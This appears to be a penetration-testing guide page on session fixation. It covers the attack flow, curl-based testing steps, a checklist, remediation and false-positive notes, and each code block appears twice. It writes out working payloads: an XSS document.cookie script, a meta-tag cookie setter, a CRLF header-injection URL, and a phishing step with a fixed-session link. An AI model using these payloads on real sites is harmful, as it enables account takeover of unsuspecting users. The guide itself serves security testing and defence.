Exploitation A07

Session Fixation

Session fixation attacks force a known session identifier onto a victim. When the victim authenticates with the fixed session, the attacker can use the same session ID to access the authenticated session. This differs from session hijacking — the attacker sets the session before authentication, not after.

Attack Flow

  1. 1. Attacker obtains a valid session ID from the target app (just visit the login page)
  2. 2. Attacker crafts a URL or tricks the victim into using that session ID
  3. 3. Victim clicks the link and authenticates with the fixed session
  4. 4. The application does NOT regenerate the session ID after login
  5. 5. Attacker uses the same session ID to access victim's authenticated session

Session Fixation via URL

bash
# Step 1: Get a session ID from the target:
curl -sI https://target.com/login
# Set-Cookie: PHPSESSID=abc123def456; path=/

# Step 2: Craft URL with the session ID:
https://target.com/login?PHPSESSID=abc123def456

# Or for Java applications:
https://target.com/login;jsessionid=abc123def456

# Step 3: Send this URL to the victim (phishing)
# Victim logs in → session abc123def456 is now authenticated

# Step 4: Use the session:
curl -s https://target.com/dashboard \
  -H 'Cookie: PHPSESSID=abc123def456'
# If authenticated → session fixation confirmed!
# Step 1: Get a session ID from the target:
curl -sI https://target.com/login
# Set-Cookie: PHPSESSID=abc123def456; path=/

# Step 2: Craft URL with the session ID:
https://target.com/login?PHPSESSID=abc123def456

# Or for Java applications:
https://target.com/login;jsessionid=abc123def456

# Step 3: Send this URL to the victim (phishing)
# Victim logs in → session abc123def456 is now authenticated

# Step 4: Use the session:
curl -s https://target.com/dashboard \
  -H 'Cookie: PHPSESSID=abc123def456'
# If authenticated → session fixation confirmed!

Session Fixation via Cookie Injection

bash
# If the target has an XSS vulnerability or subdomain cookie scope:

# Via XSS:
<script>document.cookie='PHPSESSID=ATTACKER_SESSION; path=/; domain=.target.com';</script>

# Via meta tag injection:
<meta http-equiv="Set-Cookie" content="PHPSESSID=ATTACKER_SESSION; path=/">

# Via subdomain (if attacker controls sub.target.com):
# Set a cookie scoped to .target.com from sub.target.com
# This cookie will be sent to www.target.com

# Via CRLF injection in HTTP headers:
https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:PHPSESSID=ATTACKER_SESSION
# If the target has an XSS vulnerability or subdomain cookie scope:

# Via XSS:
<script>document.cookie='PHPSESSID=ATTACKER_SESSION; path=/; domain=.target.com';</script>

# Via meta tag injection:
<meta http-equiv="Set-Cookie" content="PHPSESSID=ATTACKER_SESSION; path=/">

# Via subdomain (if attacker controls sub.target.com):
# Set a cookie scoped to .target.com from sub.target.com
# This cookie will be sent to www.target.com

# Via CRLF injection in HTTP headers:
https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:PHPSESSID=ATTACKER_SESSION

Testing Procedure

bash
# Step 1: Note the session ID before login:
curl -sI https://target.com/login | grep -i set-cookie
# PHPSESSID=SESSION_BEFORE_LOGIN

# Step 2: Login with this session:
curl -s -X POST https://target.com/login \
  -H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN' \
  -d 'username=testuser&password=testpass' \
  -D - -o /dev/null | grep -i set-cookie

# Step 3: Check if the session ID CHANGED after login:
# If Set-Cookie contains a NEW session ID → SAFE (session regenerated)
# If NO new Set-Cookie → VULNERABLE (session not regenerated)

# Step 4: Verify the old session is still valid:
curl -s https://target.com/dashboard \
  -H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN'
# If authenticated → session fixation confirmed!

# Also test: does the app accept arbitrary session IDs?
curl -s https://target.com/login \
  -H 'Cookie: PHPSESSID=ATTACKER_CHOSEN_VALUE_12345'
# If the server adopts this value → fixation possible
# Step 1: Note the session ID before login:
curl -sI https://target.com/login | grep -i set-cookie
# PHPSESSID=SESSION_BEFORE_LOGIN

# Step 2: Login with this session:
curl -s -X POST https://target.com/login \
  -H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN' \
  -d 'username=testuser&password=testpass' \
  -D - -o /dev/null | grep -i set-cookie

# Step 3: Check if the session ID CHANGED after login:
# If Set-Cookie contains a NEW session ID → SAFE (session regenerated)
# If NO new Set-Cookie → VULNERABLE (session not regenerated)

# Step 4: Verify the old session is still valid:
curl -s https://target.com/dashboard \
  -H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN'
# If authenticated → session fixation confirmed!

# Also test: does the app accept arbitrary session IDs?
curl -s https://target.com/login \
  -H 'Cookie: PHPSESSID=ATTACKER_CHOSEN_VALUE_12345'
# If the server adopts this value → fixation possible

Testing Checklist

  1. 1. Note the session ID before authentication
  2. 2. Authenticate and check if the session ID changes
  3. 3. Verify the old session ID is invalidated
  4. 4. Test if the app accepts session IDs from URL parameters
  5. 5. Test if the app accepts arbitrary/attacker-chosen session IDs
  6. 6. Test session regeneration at privilege level changes (admin access, profile changes)

Evidence Collection

Before Login: HTTP response showing pre-auth session ID

After Login: HTTP response showing same session ID persists

Verification: Request using old session accessing authenticated content

CVSS Range: 6.5–8.1 depending on attack complexity and impact

Remediation

  • Regenerate session on login: Always issue a new session ID after successful authentication.
  • Reject URL-based sessions: Do not accept session IDs from query parameters — use cookies only.
  • Reject unknown sessions: Only accept session IDs that the server has previously issued.
  • Regenerate on privilege change: Issue new sessions on role changes, password changes, and MFA completion.

False Positive Identification

  • Session ID preserved but session regenerated: Some frameworks reuse the cookie name but create a new server-side session — verify the attacker's pre-set session ID actually grants access post-login.
  • Cookie accepted but not bound: Setting a session cookie that the server doesn't recognize will just create a new session — confirm the server binds to the attacker-supplied ID.
  • Requires existing XSS or network position: Session fixation typically requires another vulnerability to set the cookie — document the prerequisite attack chain in your report.